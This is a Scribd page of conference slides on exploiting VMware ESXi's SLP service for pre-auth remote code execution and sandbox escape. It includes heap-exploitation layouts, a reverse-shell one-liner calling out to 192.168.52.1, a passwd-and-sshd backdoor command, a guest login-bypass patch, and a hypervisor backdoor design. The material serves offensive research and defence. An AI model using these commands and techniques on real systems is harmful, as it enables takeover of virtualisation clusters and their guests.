0% found this document useful (0 votes)
486 views68 pages

Exploiting Vulnerbilities in ESXi - Preauth RCE and Sandbox Escape.

The document discusses exploiting vulnerabilities in the Service Location Protocol (SLP) service on VMware ESXi hypervisors to achieve remote code execution and sandbox escape. It describes the SLP service, vulnerabilities like CVE-2019-5544 and CVE-2020-3992, and how they can be used to compromise ESXi and potentially access vCenter to take over the entire VMware cluster. The root cause is buffer overflows and use-after-free issues in SLP request and response handling code.

Uploaded by

Julio Rivera
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
486 views68 pages

Exploiting Vulnerbilities in ESXi - Preauth RCE and Sandbox Escape.

The document discusses exploiting vulnerabilities in the Service Location Protocol (SLP) service on VMware ESXi hypervisors to achieve remote code execution and sandbox escape. It describes the SLP service, vulnerabilities like CVE-2019-5544 and CVE-2020-3992, and how they can be used to compromise ESXi and potentially access vCenter to take over the entire VMware cluster. The root cause is buffer overflows and use-after-free issues in SLP request and response handling code.

Uploaded by

Julio Rivera
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 68

Exploiting vulns in

ESXi
preauth RCE & Sandbox escape

WeiHua Huang
Dr. Zhiniang Peng of Sangfor
Whoami
• Zhiniang Peng
• the Principal Security Researcher & Chief Architect at Sangfor
• PhD in Cryptography, interested in all areas of CS
• Started hacking when at the age of 13
• Work in Defensive & Offensive security
• Published many research in both Industry & Academia
• https://sites.google.com/site/zhiniangpeng
• Twitter: @edwardzpeng
Whoami

• Weihua Huang
• Researching in windows kernel.
• Researching in virtualization.
• Interested in exploitation and detection.
Agenda

• Introduction
• Root cause analysis
• Exploitation
• Post-exploitation
• Conclusion
Introduction
ESXi & vCenter
SLP
Sandbox
ESXi
• VMware ESXi, also called VMware ESXi Server, is a bare-metal
hypervisor developed by VMware for vSphere.
• ESXi is one of the primary components in the VMware infrastructure
software suite.
• It’s the industry leader for efficient architecture, setting the
standard for reliability, performance, and support.
• Virtual machine is running on ESXi.
vCenter
• vCenter Server is the service through which you manage multiple
hosts connected in a network and pool host resources.
SLP
• Introduction to SLP service
• ESXiArgs: Ransomware attack in realworld
• The reason for exploiting SLP service
• SLP in ESXi
SLP service
• It is a service discovery protocol that allows computers and other
devices to find services in a local area network (LAN) without prior
configuration.
• SLP has been designed to scale from small, unmanaged networks to
large enterprise networks.
Ransomware attacks
• In February 2023, the “ESXiArgs” ransomware attacks appear to be
targeting unpatched and unprotected instances of VMware ESXi.
• Vulnerabilities of SLP service were used.
• According to information released by CISA, ESXiArgs actors have
compromised over 3,800 servers globally.
Ransomware attacks
• From this attack:
1. Many ESXi are not patched.
2. The SLP vulns is very useful.
3. From 2021 to 2023, nearly two years, these critical vulns have
been available to exploit all the time.
• When will it keep available until in intranet?
Why exploit SLP service

• Target:
• The most valuable target is vCenter.
• Take down vCenter means the whole cluster is taken down.

• Condition:
• vCenter is easier to take down vCenter than ESXi.
• More published RCE vulns.
• But vCenter is usually inaccessible in pentest.
• Runs in another network segment.
• But vCenter is accessible from ESXi.
• → Need to RCE ESXi
• → Exploit SLP!
SLP in ESXi

• slpd: SLP service server process


• listen in port tcp:427
• accessible before authentication
• run with root privilege after ESXi 5.5
• enabled by default(before ESXi 7.0 U2c)
• single thread process
slpdsocket
• Used to maintain the connection with the client.
• fd: tcp connection’s file descriptor.
• state: slpdsocket’s working state.
• recvbuf: maintain raw data sent from client to slpd.
• sendbuf: maintain data sent from slpd to client.
typedef struct _SLPDSocket
{
SLPListItem listitem;
int fd;
time_t age; /* in seconds */
int state;
struct sockaddr_in peeraddr;

/* Incoming socket stuff */


SLPBuffer recvbuf;
SLPBuffer sendbuf;

/* Outgoing socket stuff */


int reconns;
SLPList sendlist;
} SLPDSocket;
slpbuffer
• allocated: the max size of slpbuffer.
• start/curpos/end: pointers that point to data array.
• data of slpbuffer is appended to the end.

typedef struct _SLPBuffer


{
SLPListItem listitem;
size_t allocated;
unsigned char *start;
unsigned char *curpos;
unsigned char *end;
unsigned char data[0];
} *SLPBuffer;
slpmessage
typedef struct _SLPMessage
• Every request sent to {

slpbuffer from client will be


struct sockaddr_in peer;
SLPHeader header;
parsed into slpmessage. union _body
{
SLPSrvAck srvack;
// used for (de)register service
SLPSrvReg srvreg;
SLPSrvDeReg srvdereg;
// used for request information of service
SLPSrvRqst srvrqst;
SLPAttrRqst attrrqst;
SLPSrvTypeRqst srvtyperqst;
SLPSrvRply srvrply;
SLPAttrRply attrrply;
SLPSrvTypeRply srvtyperply;
// used for agent
SLPDAAdvert daadvert;
SLPSAAdvert saadvert;
} body;
} *SLPMessage;
slpmessage
• Size in slpmessage is assigned.
• Pointer in slpmessage point to its position in recvbuf.

typedef struct _SLPAttrRqst


{
int prlistlen;
const char *prlist;
int urllen;
const char *url;
int scopelistlen;
const char *scopelist;
int taglistlen;
const char *taglist;
int spistrlen;
const char *spistr;
} SLPAttrRqst;
Part of memory layout of recvbuf
state of slpdsocket

#define SOCKET_PENDING_IO 100


#define SOCKET_LISTEN 0
#define SOCKET_CLOSE 1
#define DATAGRAM_UNICAST 2
#define DATAGRAM_MULTICAST 3
#define DATAGRAM_BROADCAST 4
#define STREAM_CONNECT_IDLE 5
#define STREAM_CONNECT_BLOCK 6 + SOCKET_PENDING_IO
#define STREAM_CONNECT_CLOSE 7 + SOCKET_PENDING_IO
#define STREAM_READ 8 + SOCKET_PENDING_IO
#define STREAM_READ_FIRST 9 + SOCKET_PENDING_IO
#define STREAM_WRITE 10 + SOCKET_PENDING_IO
#define STREAM_WRITE_FIRST 11 + SOCKET_PENDING_IO
#define STREAM_WRITE_WAIT 12 + SOCKET_PENDING_IO
slpd workflow
slpd workflow
slpd workflow
Sandbox
• ESXi uses sandbox to limit the access of userword process(hostd,
vpxa, etc.) to resource(files, directorys, network sockets, etc.).
• Every process in ESXi runs in a security domain.
• superDom: without sandbox
• hostd1: security domain of one of virtual machine.
Sandbox Escape
• In some scenarios, it is necessary to escape the sandbox.
• After escaped from virtual machine.
• SLP service runs outside of sandbox(before ESXi7u2), but is accessible inside of
sandbox.
• SLP vulns can be used to escape the sandbox.
Root Cause
SLP vulns
Root cause

• CVE-2019-5544(heap buffer overflow)


• CVE-2020-3992(use after free)
• CVE-2021-21974(heap buffer overflow)
• CVE-2022-31699(heap buffer overflow)

After the patch of CVE-2020-3992 and CVE-2021-21974, SLP service is only accessible from local( 127.0.0.1(ipv4) or
::1(ipv6)).
So CVE-2022-31699 is not used to RCE, but can be used to escape sandbox before ESXi 7.0u2, especially in ESXi 6.7.
From 7.0u2, SLP service runs inside sandbox.
From 7.0u2c, SLP service is disabled by default.
CVE-2019-5544(heap buffer overflow)
• Client send SLPSrvRqst to get service’s information.
• Slpd will use ProcessSrvRqst(…) to handle and reply request.
• But…
typedef struct _SLPSrvRqst
{
int prlistlen;
const char *prlist;
int srvtypelen;
const char *srvtype;
int scopelistlen;
const char *scopelist;
int predicatever;
int predicatelen;
const char *predicate;
int spistrlen;
const char *spistr;
} SLPSrvRqst;
CVE-2019-5544(heap buffer overflow)
Realloc sendbuf with size of url and langtag

But copy url and opaque into sendbuf.


SLPDAAdvert
• Client send SLPDAAdvert to let SA and UA learn the position of DA.
• And 3 vulns in the handler for SLPDAAdvert.

typedef struct _SLPDAAdvert


{
int errorcode;
unsigned int bootstamp;
int urllen;
const char *url;
int scopelistlen;
const char *scopelist;
int attrlistlen;
const char *attrlist;
int spilistlen;
const char *spilist;
int authcount;
SLPAuthBlock *autharray;
} SLPDAAdvert;
CVE-2020-3992(use after free)
Save slpmsg into database.
But free slpmsg when return to parent func.
CVE-2021-21974(heap buffer overflow)
• It supposes that url is ends with ‘\x00’.
• but in fact, url points to recvbuf where the data sent from client is restored.
CVE-2022-31699(heap buffer overflow)
Check not work.
Integer overflow
Result in heap buffer overflow
Exploitation
SLP vulns
Exploitation
• Published:
• zdi: “CVE-2020-3992 & CVE-2021-21974: PRE-AUTH REMOTE CODE EXECUTION IN
VMWARE ESXI”.

• But:
• Not full exploitation.
• no detail about how to leak libc.
• Only general ideas for exploiting CVE-2021-21974
• Here:
• Share a more practical memory layout for leaking.
• Also Share the exploitation of CVE-2020-3992.
• Talk about the problem and solution in pentest.
Exploitation

• There are two kind of vulns:


• Heap buffer overflow
• Use after free
• Just talk about how to exploit vulnerability based on its type,
because the memory layout of exploitation is similar if the vuln has
the same type.
• Not going to talk about how to trigger vulns, but focusing on what
tricks and primitive are used in exploit.
Problem & Solution
1st problem: version
• In binary exploitation, different version has different offset.
• By sending SLPAttrRqst message, client can get ESXi’s build number:
• with “service:VMwareInfrastructure” as url and “default” as scopelist:
• So friendly to binary vulnerability exploitation.

typedef struct _SLPAttrRqst


{
int prlistlen;
const char *prlist;
int urllen;
const char *url;
int scopelistlen;
const char *scopelist;
int taglistlen;
const char *taglist;
int spistrlen;
const char *spistr;
} SLPAttrRqst;
2nd problem: fragmentation
• The exisiting memory fragments have fatal damage to the exploitation.
• By sending lots of SLPSrvReg message with different url, the fragmentation in heap will be cleared.

typedef struct _SLPSrvReg


{
SLPUrlEntry urlentry;
int srvtypelen;
const char *srvtype;
int scopelistlen;
const char *scopelist;
int attrlistlen;
const char *attrlist;
int authcount;
SLPAuthBlock *autharray;
uint32_t pid;
int source;
} SLPSrvReg;
3rd problem: shell
• Reverse shell?

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.52.1 80 >/tmp/f

• Enable ssh shell


echo “xxx:/bin/sh” >> /etc/passwd && /usr/lib/vmware/openssh/bin/sshd
4th problem: time
• Many connections to SLP service are created in
exploitation.
• While SLP service is busy, the connection will be closed in
30s.
• So need to make sure that the exploitation is completed in time.
• When the c2 channel is slow, it is necessary to upload the exp to
execute.
Primitive of slpbuffer
• Review the struct of slpbuffer, It is easy to figure out:
• Overwrite recvbuf.start/curpos/end → arbitrary write
• Overwrite sendbuf.start/curpos/end → arbitrary read
• But there is another primitive:
• Overwrite slpbuffer.allocated → oob read/write
Exploit heap buffer overflow
• The memory layout to arb write:

1. Let recvbuf1 overlap with recvbuf0.


2. Modify recvbuf0.start/recvbuf0.curpos/recvbuf1.end to the memory to be
overwrite.
Exploit heap buffer overflow
• The easiest memory layout to leak:

1. Trigger vuln to overwrite the size of the second freed chunk.


2. Calloc the freed chunk whose size is changed as recvbuf.
3. Use recvbuf to overwrite sendbuf.start with two null bytes, then the data in the
range from sendbuf.start to sendbuf.end will be leaked.
Exploit heap buffer overflow
• A more practical memory layout to leak:

1. Overwrite chunk size of recvbuf0(make recvbuf0 overlap with sendbuf and


recvbuf1).
2. Free and realloc recvbuf0 as recvbuf2 and recvbuf3(recvbuf3 is overlapped with
recvbuf1).
3. Free recvbuf1. Note that it should be freed in largebin.
Why largebin chunk?
• chunk: the memory block of malloc and free.
• Glibc maintains freed chunk by its size into three bins:
fastbin/smallbin/largebin.
• If it is freed in large bin chunk, there are not only the address of heap but also
the address about glibc in its body.
• leak the only two address needed at a time.
• Leak glibc address precisely.
• By the way, the address of heap could be the address of the freed chunk itself.
• No need to find another position to place the command for executing system(…).
Exploit use after free
• The memory layout to arb write:

1. Realloc the chunk where uaf is triggered as recvbuf1.


2. Free recvbuf0 and slpmsg(they will be merged into one freed chunk).
3. Realloc the merged freed chunk as recvbuf2(recvbuf2 is overlapped with
recvbuf1).
Exploit use after free
• The memory layout to leak:

1. Trigger UAF two times at the same chunk.


2. Free recvbuf0 and slpmsg, then they will be merge into one freed chunk.
Exploit use after free
• The memory layout to leak:

3. Realloc the merged freed chunk as recvbuf5.


4. Free recvbuf3 and realloc it as sendbuf.
Exploit use after free
• The memory layout to leak:

5. Use recvbuf5 to overwrite (recvbuf4/sendbuf).allocated, then trigger the realloc of


recvbuf4.
6. Free recvbuf2 into largebin.
Workflow of exploit

1. Clear memory fragmentation in heap.


2. Leak address of heap and glibc.
3. Write a command payload to the heap address.
4. Calculate the address of __free_hook and system.
5. Overwrite __free_hook to system.
6. Trigger free.
Exploitation
• According to our experience in pentest of real world:
• The exploitation of SLP could be stable.
• with success rate above 95%.
• Vulnerable ESXi may be managed by vulnerable vCenter.
• As long as one ESXi is successfully taken down, it is equivalent to take down the cluster by
taking down vCenter.
• The exploitation of SLP is still very useful in practice.
Post-exploitation
All road lead to Rome

• Mandiant release a report about attack on ESXi


• https://www.mandiant.com/resources/blog/vmware-esxi-zero-day-bypass
• Just 1 day before this talk in Typhooncon2023
• Attacker exploiting CVE-2023-20867 to pwn guest from ESXi Host
• Doing lateral movement in ESXi cluster
• Building a stealthy backdoor on ESXi
• We have the same idea when we do red teaming
• How to do lateral movement in vSphere cluster?
• How to pwn all the virtual machines?
• How to build a stealthy backdoor om ESXi?
• We achieve the same but with different techniques
Break into virtual machine

• After we get the root shell of ESXi


• How to break into the virtual machine?
• The usual ways are:
• Snapshot then fetch hash → Only work for windows.
• Clone → Can not enter the alive vm.
• Mount vmdk → Vmdk is used, Need to shutdown vm.
• In Mandiant’s report:
• Attacker use CVE-2023-20867 to do unauthenticated guest operation on Guest
• The target guest machine has VMWare Tools installed
• It’s fixed now.
CVE-2023-20867

• On ESXi, Host and Guest can communicate through vmtools.


• You can do guest operation on the VM, if you have credential.
• File uploading
• Command execution
• CVE-2023-20867:
• Authentication bypass for guest operation.
• VIX_USER_CREDENTIAL_NAME_PASSWORD (need credential)
• VIX_USER_CREDENTIAL_ROOT (no authentication)
• Requirement:
• The target guest machine has VMWare Tools installed
• It’s fixed now.

This page is added after the conference.


Memory Mapping on Guest and Host
• Basic:
• Host has unlimited access to the resource of virtual machine
• Disk and physical memory especially.
• If not encrypted by virtual machine itself.
• ESXi uses a map to maintain the mapping of guest physical memory and host virtual
memory.
• Different with VMware workstation.
• Write host virtual memory → Modify guest physical memory → Inject into guest.
Write shellcode into Guest
• So what we need to do are:
1. Implement kernel module on ESXi that can traverse and read/write virtual
machine’s physical memory.
2. Find a position in virtual machine’s physical memory that can be used to
inject payload or shellcode.
3. Write payload or shellcode to the position.

If os of virtual machine is windows, the position can be the physical memory of function MsvpPasswordValidate in
Ntlmshared.dll loaded into lsass.exe, and the shellcode can be:“xor eax, eax; inc eax; ret;”
Patch login function
• If os of virtual machine is windows:
Position:
Ntlmshared.dll!MsvpPasswordValidate in lsass.exe.

Can unlock screen with any input


Overwrite as
Advantages:
• Works in ESXi and vmware workstation.
• Works in all hypervisor theoretically.
• Works for both windows and linux as guest.
• No need to snapshot or clone.
• Convenient for virtual machine with large memory or disks.
• Works from vCenter with vpxuser.
• No need to have the vulnerability in Mandiant report.
• Hack all virtual machine with the help of vSphere api.
• Able to inject shellcode into virtual machine.
• Hack all virtual machines completely automatically.
Backdoor on the Host
• Memory Operation:
• Like we mentioned before
• File Operation:
• Parsing vmdk
• Parsing file system

• Network Operation:
• DVfilter

• With a kernel module, the :


• We build a POC of this
• Just need a few weeks of develop
• Can be a crazy backdoor on ESXi
• Knock the door in VM, Trigger malware on ESXi
Backdoor on the Host Rookit
Dvfilter: Network Operation
VMDK Parser: Disk Operation
Memory Map: Memory Operation

2. Backdoor on ESXi Host


ESXi VMCI: Guest Operation

capture the packet.


3. Do things on other VM 3. Do things on other VM

VM1 VM2 VM3


1. Attacker send a control WEB server
packet to VM1. Intranet server Intranet server
Exposed to Internet

Attacker

This page is added after the conference.


Hack into a Machine
Which can access ESXi

Hack into a VM
Run in ESXi
Exploit SLP service to
RCE ESXi

Exploit SLP service to


escape vm/sandbox
RCE vCenter with it’s own vulnerability
Or pwn the ESXi which host Vcenter and jump into vCenter

Break into any vm


from ESXi
Take control all ESXi
from vCenter

Brean into any vm


from vCenter
Pentest to machine
can access ESXi
Exploit SLP service to
RCE vCenter Take control all ESXi
RCE ESXi
with ESXi as jump server from vCenter

Pentest to vm
Run in ESXi

Exploit SLP service to Break into any vm


escape vm/sandbox Brean into any vm
from ESXi from vCenter
Conclusion

• Make sure that your ESXi/vCenter is safe from nday, especially the
SLP vulns.
• Disable SLP service or upgrade ESXi.

• Offensive security Research can help us prevent attacks in advance.


THANK YOU
references
➢ https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-039a
➢ https://www.zerodayinitiative.com/blog/2021/3/1/cve-2020-3992-amp-cve-2021-21974-
pre-auth-remote-code-execution-in-vmware-esxi
➢ https://github.com/carmaa/inception
➢ https://github.com/hzphreak/VMInjector
➢ https://www.unknownfault.com/posts/daemon-sandboxing-and-secpolicytools/

You might also like